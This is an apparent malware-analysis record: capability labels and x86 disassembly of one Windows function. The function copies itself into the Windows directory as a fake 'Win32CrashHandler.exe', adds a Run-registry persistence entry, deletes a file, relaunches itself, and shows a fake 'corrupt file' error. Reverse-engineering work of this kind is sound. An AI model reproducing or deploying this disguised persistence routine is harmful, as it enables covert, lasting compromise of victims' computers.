Function at 0x40171a
Capabilities:
Accept command line arguments
Copy file
Create process on windows
Create process suspended
Delete file
Persist via run registry key
Query environment variable
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x834
mov eax, dword [sym.imp.KERNEL32.dll_GetCommandLineW]
call eax
lea edx, [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
shl eax, 2
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
jmp 0x40178b
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x10]
add eax, edx
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
lea ecx, [edx*4]
mov edx, dword [ebp - 0x14]
lea ebx, [ecx + edx]
mov dword [esp], eax
call sym._WCHARtoCHAR
mov dword [ebx], eax
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0xc], eax
jl 0x40175c
mov eax, dword [ebp - 0x18]
cmp eax, 1
jle 0x4019a7
mov eax, dword [ebp - 0x14]
add eax, 4
mov eax, dword [eax]
mov dword [esp + 4], 0x405044
mov dword [esp], eax
call sym._stricmp
test eax, eax
je 0x4018ce
mov eax, dword [ebp - 0x14]
add eax, 4
mov eax, dword [eax]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call eax
sub esp, 4
mov dword [esp + 8], 0x12c
lea eax, [ebp - 0x568]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x694]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x694], 0x44
mov eax, dword [ebp - 0x14]
add eax, 4
mov eax, dword [eax]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x568]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s___s_
lea eax, [ebp - 0x43c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x28]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x694]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 8
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x43c]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov dword [esp], 1
call sym._exit
mov eax, dword [ebp - 0x18]
cmp eax, 3
jne 0x401991
mov dword [esp + 8], 0x12c
lea eax, [ebp - 0x568]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x405044
lea eax, [ebp - 0x568]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x14]
add eax, 8
mov eax, dword [eax]
mov dword [esp + 8], eax
mov dword [esp + 4], str.The_file__s_is_corrupted.
lea eax, [ebp - 0x43c]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Windows___Corrupt_File
lea eax, [ebp - 0x43c]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov dword [esp], 1
call sym._exit
mov dword [esp], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x401b8e
mov dword [esp + 8], 0x12c
lea eax, [ebp - 0x7c0]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x12c
lea eax, [ebp - 0x694]
mov dword [esp + 4], eax
mov dword [esp], str.WINDIR
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x694]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sWin32CrashHandler.exe
lea eax, [ebp - 0x568]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 8], 0
lea eax, [ebp - 0x568]
mov dword [esp + 4], eax
lea eax, [ebp - 0x7c0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x2c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
lea eax, [ebp - 0x568]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x568]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.Win32_Crash_Handler
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x3c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x804]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x804], 0x44
lea eax, [ebp - 0x7c0]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x568]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s___s_
lea eax, [ebp - 0x43c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x3c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x804]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x43c]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov dword [esp], 1
call sym._exit
mov eax, 0
mov ebx, dword [ebp - 4]
leave
ret 0x10